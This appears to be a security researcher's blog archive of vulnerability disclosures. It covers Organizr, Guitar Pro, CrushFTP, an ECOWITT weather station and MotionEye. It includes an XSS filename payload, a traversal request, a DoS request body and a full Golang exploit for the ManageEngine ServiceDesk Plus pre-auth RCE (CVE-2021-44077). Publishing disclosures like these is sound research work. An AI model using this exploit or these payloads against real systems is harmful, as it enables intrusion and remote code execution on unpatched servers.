I was recently awarded the DoD Researcher of the Month for July, 2023. Between moving across the country and other hacking duties, I still had time to hammer away at a particular subdomain and found a bunch of stuff including a null byte truncated file extension file upload RCE that was present in multiple locations. Along with that I had some XSS, SQLi, and auth bypass, I think. I’m gonna try and repeat for August, since I’m on a roll, despite it only being VDP and not a Bug Bounty program. I have some good reports in, and a couple in the works, but I don’t know if they’ll be enough to win, lol. Hopefully I’ll get back to some bounty programs after August.
Tag Archives: infosec
Self-Hosted Security Part ? – Poor Rate Limiting in Organizr
Organizr is a self-hosted application written in PHP that basically helps you self-host other services at your home. It’s nifty application with a surprisingly large amount of functionality. I was recently poking at it to find some security holes, and the first thing I ran across was a rate limiting issue on the login function.
When making a POST
request to login, there is a body parameter called loginAttempts
. If your login fails, the value of this parameter is incremented (via client side JS) and included in the next login request. When the value reaches a certain number, which is verified in PHP on the backend, the user is locked out.
You can probably see where this is going. Just send it to Burp intruder and never increment the value. Tada!

loginAttempts
is set to 1 and the request is sent to Burp Intruder for brute forcingThe PHP backend will always see the value of loginAttempts
as 1, and brute forcing is allowed to occur.
The same endpoint and method is used to rate-limit 2FA code entry, which allows an attacker to also brute force a 2FA code. This takes a bit of time – I haven’t done the math – but it still works. An attacker can just sit back and fire away with Burp Intruder. A successful login will generate cookies that will work for their specified amount of time.

This issue has been reported on https://huntr.dev.
Guitar Pro Directory Traversal and Filename XSS
Edit: These were given CVE-2022-43263 and CVE-2022-43264.
I found these vulnerabilities in the latest version of Guitar Pro (1.10.2) on the iPad and iPhone. Neither one is that great of a concern, but they should still get fixed.
Both of these vulnerabilities stem from the feature of these applications that allows a user to import guitar tabs into their application.

First up, a filename XSS, which just happens to be one of my favorite vulnerabilities. I find this on a regular basis – even in 2022. If the user has the screen above open, you can navigate to the URL listed, where you will find the following website, which allows you to upload a file of your choosing. In this case, you can upload a file with the following name.
<img src=x onerror=alert('PizzaPowerWasHere)>.ptb
And the XSS should pop.

Next up is a directory traversal. I noticed this while running the upload/download process through Burp. Specifically, this stood out as suspicious.
http://192.168.1.71:8080/Documents/local://Guitar%20Pro%206%20Jingle.gpx
This just allows you to download a tab file from your device. The following Burp payload shows the obvious vulnerability.

You can request and receive the usual suspects e.g. passwd, hosts, etc.
Also, there is this endpoint that seems possibly dangerous. I didn’t test it because I didn’t want to delete something of importance.

The vendor has been notified.
CrushFTP DoS
I was doing a security review of CrushFTP, a multi-platform FTP application, and I came across a DoS stemming from lack of validation of user input.
Originally, I thought there was broken function level authentication, or something similar, when making a request to this particular endpoint with a specific post body, but I was informed by the dev that it is supposed to be an unauthenticated function call.
An unauthenticated user can make a POST request to the /WebInterface/function/ endpoint, with a body containing the following:
command=encryptPassword&encrypt_type=DES&password=[arbitrarily-long-password]

This request will cause a DoS by supplying massive passwords to be encrypted. Although CrushFTP does have some preventative measures in place for DOS attacks, an attacker is able to send a small amount of requests and bog down the system, as seen in the next picture.

The issue stems from a lack of input validation for the password parameter, as seen on lines 752 through 786 of ServerSessionAJAX.java.

The developer is very responsive and fixed the issue in a couple of hours. As we can see, the password parameter is now limited to 2000 characters.

And he was gracious enough to give me a shout out in the build logs.
https://www.crushftp.com/version10_build.html
All in all, CrushFTP is an awesome application, and it seems to have a great track record in regards to security. There are only a handful of published CVEs for it, and this seems to be the only thing I’ve found in my testing, so far. The dev is also quick to implement fixes, so users aren’t stuck without a fix for long. I wouldn’t hesitate to use CrushFTP in any environment.
With that said, I did some Shodan searching for instances of CrushFTP running with a slightly non-standard default username and password, and I found a fair amount of them. I tried reporting those to the companies that were running them, but I’ve yet to receive any responses.
Golang Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306
Once again, I decided to rewrite an exploit in Golang. Once again, I did thirty seconds of searching to find if someone had already written this one in Golang. Once again, I did not find a preexisting POC in Golang. Once again, I wrote one. Once again, my code is horrible.
You can find a vulnerable version of the software here. You can find this code on my Github here.
package main
import (
"bytes"
"crypto/tls"
"flag"
"fmt"
"io/ioutil"
"log"
"mime/multipart"
"net/http"
"net/url"
"os"
)
func uploadFile(uri string, paramName, path string) {
file, err := os.Open(path)
if err != nil {
log.Fatal(err)
return
}
fileContents, err := ioutil.ReadAll(file)
if err != nil {
log.Fatal(err)
return
}
fi, err := file.Stat()
if err != nil {
log.Fatal(err)
return
}
file.Close()
body := new(bytes.Buffer)
writer := multipart.NewWriter(body)
part, err := writer.CreateFormFile(paramName, fi.Name())
if err != nil {
log.Fatal(err)
return
}
part.Write(fileContents)
writer.Close()
request, err := http.NewRequest("POST", uri, body)
if err != nil {
log.Fatal(err)
}
request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
request.Header.Set("Origin", "null")
request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
request.Header.Set("Content-Type", writer.FormDataContentType())
// set a proxy for troubleshooting
proxyUrl, err := url.Parse("http://localhost:9090")
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Proxy: http.ProxyURL(proxyUrl),
}
client := &http.Client{Transport: tr}
resp, err := client.Do(request)
if err != nil {
log.Fatalln(err)
} else {
fmt.Println("Response code should be 401, if successful uploading occured.")
fmt.Println(resp.StatusCode)
}
defer resp.Body.Close()
return
}
func triggerExploit(uri string) {
// set a proxy for troubleshooting
proxyUrl, err := url.Parse("http://localhost:9090")
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
Proxy: http.ProxyURL(proxyUrl),
}
client := &http.Client{Transport: tr}
triggerURL := uri + "RestAPI/s247action"
postData := "execute=s247AgentInstallationProcess"
request, err := http.NewRequest("POST", triggerURL, bytes.NewBufferString(postData))
if err != nil {
return
}
request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
request.Header.Set("Origin", "null")
request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client.Do(request)
}
func main() {
// get flags
VulnerableInstance := flag.String("u", "http://127.0.0.1:8080", "Vulnerable Service Desk URL: http://127.0.0.1:8080")
maliciousFileName := flag.String("f", "exploit.exe", "File you want to upload: exploit.exe")
flag.Parse()
path, err := os.Getwd()
if err != nil {
log.Fatal(err)
}
fullMaliciousFileName := path + *maliciousFileName
fmt.Println("\n---> Uploading File!")
uploadFile(*VulnerableInstance+"RestAPI/ImportTechnicians?step=1", "theFile", fullMaliciousFileName)
fmt.Println("\n---> Triggering!")
triggerExploit(*VulnerableInstance)
fmt.Println("\nExploit Completed!")
}
The Incredibly Insecure Weather Station – Part 2
Edit: The weather station issues were given CVE-2022-35122.
I contacted the manufacturer in regards to these issues. They responded quickly. I wasn’t expecting anything to be done about the issues that I brought up, but they did do something…
I logged into my weather station yesterday, an lo and behold, there is an update. Most notably the following, “added password encryption for HTTP transmission.”

Encryption for the password during HTTP transmission? What does this even mean? HTTPS? Why wouldn’t they just say HTTPS? Just encrypting the password client side and sending it to the station for decryption? That seems odd. I was hoping for HTTPS, but I would soon be let down.

Before updating, I decided to try and make the curl request as I had done before to the get_device_info endpoint. As before, the password to the system was returned.
Next, I upgraded the device and then made the same request. Would you look at that, the APpwd now does look ‘encrypted.’ But, as you may have guessed, it is actually just base 64 encoded.
V2VhdGhlcjI0Njg5 –> Weather24689

Or, using jq, you can do this all on the CLI.

I think this is a losing battle.
The Incredibly Insecure Weather Station
Edit: This was given CVE-2022-35122.
I recently purchased the ECOWITT GW1102 Home Weather Station. It’s exactly what it sounds like – a mini weather station for your house. It has all the usual sensors you’d expect a weather station to have, and I’m actually very pleased with the hardware, considering the cheap price.
However, it is missing one thing – software security. But really, what did I expect from a cheap home weather station?
Comically, the landing page of the weather station’s server gives an illusion of some sort of security.

Let’s intercept a request of us logging in.

This is all over HTTP. We post our password to /set_login_info
– which seems like an odd endpoint for logging in. Notice the response does not set any cookies or seem like it actually does any sort of verification. Hmmm.
Anyway, after logging in, we are directed to /liveData.html
. This page does exactly what its name implies. But let’s look at the links on the side of the page – particularly the Local Network link.

If we intercept the requests in Burp after we click the Local Network link, we see a call to a /get_network_info
endpoint. This returns info about the WiFi network to which the weather station is connected.

Interesting. Notice again that there appears to be no authentication going on with this request. Let’s try to curl this endpoint

Or how about the device password (not that you actually need the password now).

You can also do fun things like reboot the station, or get the user’s external weather reporting site’s API keys, etc. I notified ECOWITT support, but I’m assuming this won’t be fixed any time soon.

Edit: I added this picture above of the get_ws_settings endpoint. As you can see, I’m not using any authentication. You can also see I was trying some shenanigans, but nonetheless, you can also see this returns several API keys for other services, which is not a good thing to be handing out. It basically is the API endpoint for this page that is behind the ‘authentication’ of the application.

I did find some of these exposed to the internet, but I’d probably avoid that, if I were you. With that said, I actually like the hardware. It’s fun to play around with, and it is inexpensive.
MotionEye Config Info Disclosure
Edit: This was given CVE-2022-25568. As mentioned in my previous posts here and here, I’ve done a little digging into the conditions that are required for the MotioneEye config file to be world viewable, and I’ve reached this conclusion:
As long as a “user” password is not set, the config file will be world readable. Even if an “admin” password has been set, the /config/list file will still be readable by everybody. So, while someone could think they are doing the correct thing by creating a password for the admin user, they may still be leaking private information. Here is a innocuous example from a live instance:

As you can see in this picture, IP addresses/services/passwords are exposed. This is a rather innocuous example, being that it is an internal IP address, but it illustrates how this could be an issue. Imagine if those were your public FTP server credentials. Or if they were your gmail credentials for smtp notifications. The list goes on.
Along with usernames, passwords, auth keys, and email addresses, these config files also contain less sensitive information like internal network IP addresses and URLs, drive and mounting information.
In many ways this vulnerability may be worse that the MotionEye RCE vulnerability that I reported and received a CVE for. In that case, the admin password needed to be left blank (or easily guessed) for someone to get into the admin panel and achieve RCE. In this case, a user could think they’re being secure by setting an admin password, but they leave the user password blank – and the config remains viewable.
I’ve found gmail, gdrive, ftp, sftp, telegram stuff (not sure how auth works there), etc. all exposed to the WWW in these files.
I’ve submitted an issue on the MotionEye github page, but if it is anything like last time, they don’t plan on fixing it/see it as a non-issue.
Edit: The issue was closed before I even finished this post.
Edit: The issue was reopened and I submitted a pull request to fix the issue, although my fix was not tested much, so it may not work properly.
Offensive Security PEN-300 Evasion Techniques and Breaching Defenses – Course and Exam Review
You know, OffSec describes the OSEP as: “Evasion Techniques and Breaching Defenses (PEN-300) is an advanced penetration testing course”. I don’t know how advanced it is, if I can pass, lol. I generally have no idea what I’m doing.
Anyway, I really liked the course. There is a lot of material to keep you busy. Unless you’re already familiar with a large chunk of the topics, you’re probably best-served by purchasing the 90 day version of the course. The challenge labs are fun. Make sure you do them before the exam.
The exam was challenging, but fair. You should be able to figure out what you need to do next somewhat quickly, but executing it may be a different story, if you’re anything like me. Just ask yourself, “What did I just accomplish, and what does that allow me to do now?” If you’ve completed the challenge labs, you will be well-prepared for the exam. Some people say to make sure you do all the questions and extra miles in the lab manual, but I only did, I don’t know, 30% of them?
I don’t know what’s next for me. I have a voucher to do the OSED, but I’m a little burned out at this point. I’ll probably put that off until the summer – because who doesn’t like sitting inside and writing exploits when the weather is nice?
Update: Hacking MotionEye – CVE-2021-44255
I was given CVE-2021-44255 for this – authenticated RCE via a malicious tasks (python pickle) file. So that’s fun. Even though it is authenticated, the default username is admin and the default password is blank, so you know how these things go. I actually haven’t heard of any MotionEye instances being used in botnets or anything.
I should probably request a CVE for the unauthenticated information disclosure that I found, but I need to do some more research on that one.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44255